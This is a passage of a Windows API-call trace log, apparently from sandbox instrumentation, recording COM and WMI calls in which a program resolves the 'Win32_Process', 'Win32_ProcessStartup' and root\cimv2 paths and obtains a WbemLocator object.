Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb9d770) returned 0x0 [0145.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d770, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0145.689] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d770, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a97fd90) returned 0x0 [0145.689] WbemDefPath:IUnknown:Release (This=0x1bb9d770) returned 0x0 [0145.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a97fd90) returned 0x0 [0145.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0145.690] WbemDefPath:IUnknown:AddRef (This=0x1a97fd90) returned 0x3 [0145.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0145.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0145.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb9d7b0) returned 0x0 [0145.690] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d7b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0145.690] WbemDefPath:IUnknown:Release (This=0x1bb9d7b0) returned 0x3 [0145.690] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0145.690] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0145.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0145.690] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x2 [0145.691] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x1 [0145.691] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0145.691] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0145.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a97fd90) returned 0x0 [0145.691] WbemDefPath:IUnknown:AddRef (This=0x1a97fd90) returned 0x3 [0145.691] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x2 [0145.691] WbemDefPath:IWbemPath:SetText (This=0x1a97fd90, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fd90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fd90, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fd90, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fd90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fd90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0145.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fd90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0145.691] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0145.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0145.692] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0145.692] IUnknown:Release (This=0x1a943398) returned 0x1 [0145.694] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb9d870) returned 0x0 [0145.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d870, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0145.694] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d870, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a97fcd0) returned 0x0 [0145.694] WbemDefPath:IUnknown:Release (This=0x1bb9d870) returned 0x0 [0145.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a97fcd0) returned 0x0 [0145.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0145.694] WbemDefPath:IUnknown:AddRef (This=0x1a97fcd0) returned 0x3 [0145.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0145.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0145.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb9d7d0) returned 0x0 [0145.695] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d7d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0145.695] WbemDefPath:IUnknown:Release (This=0x1bb9d7d0) returned 0x3 [0145.695] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0145.695] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0145.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0145.695] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x2 [0145.695] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x1 [0145.695] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0145.695] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0145.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a97fcd0) returned 0x0 [0145.695] WbemDefPath:IUnknown:AddRef (This=0x1a97fcd0) returned 0x3 [0145.695] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x2 [0145.695] WbemDefPath:IWbemPath:SetText (This=0x1a97fcd0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0145.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fcd0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0145.695] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fcd0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fcd0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97fcd0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fcd0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0145.696] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0145.696] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0145.696] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0145.696] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0145.696] IUnknown:Release (This=0x1a943398) returned 0x1 [0145.698] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bb9d810) returned 0x0 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d810, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0145.699] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d810, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1a97fb50) returned 0x0 [0145.699] WbemDefPath:IUnknown:Release (This=0x1bb9d810) returned 0x0 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1a97fb50) returned 0x0 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0145.699] WbemDefPath:IUnknown:AddRef (This=0x1a97fb50) returned 0x3 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0145.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bb9d750) returned 0x0 [0145.699] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0145.699] WbemDefPath:IUnknown:Release (This=0x1bb9d750) returned 0x3 [0145.699] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0145.700] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0145.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0145.700] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x2 [0145.700] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x1 [0145.700] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0145.700] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0145.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1a97fb50) returned 0x0 [0145.700] WbemDefPath:IUnknown:AddRef (This=0x1a97fb50) returned 0x3 [0145.700] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x2 [0145.700] WbemDefPath:IWbemPath:SetText (This=0x1a97fb50, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0145.700] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fb50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0145.700] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fb50, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0145.700] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fb50, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0145.700] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0145.700] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0145.700] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0145.700] IUnknown:Release (This=0x1a943398) returned 0x1 [0145.701] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bb9d990) returned 0x0 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d990, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0145.702] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb9d990, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bb9d8b0) returned 0x0 [0145.702] WbemLocator:IUnknown:Release (This=0x1bb9d990) returned 0x0 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bb9d8b0) returned 0x0 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0145.702] WbemLocator:IUnknown:AddRef (This=0x1bb9d8b0) returned 0x3 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0145.702] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0145.702] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0145.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0145.703] WbemLocator:IUnknown:Release (This=0x1bb9d8b0) returned 0x2 [0145.703] WbemLocator:IUnknown:Release (This=0x1bb9d8b0) returned 0x1 [0145.703] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0145.703] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0145.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb9d8b0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, 